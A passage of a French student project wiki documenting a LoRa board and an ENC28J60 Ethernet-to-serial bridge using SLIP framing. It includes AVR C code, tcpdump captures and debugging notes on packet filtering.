La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Donc nous avons écrit un code   &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour voir les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
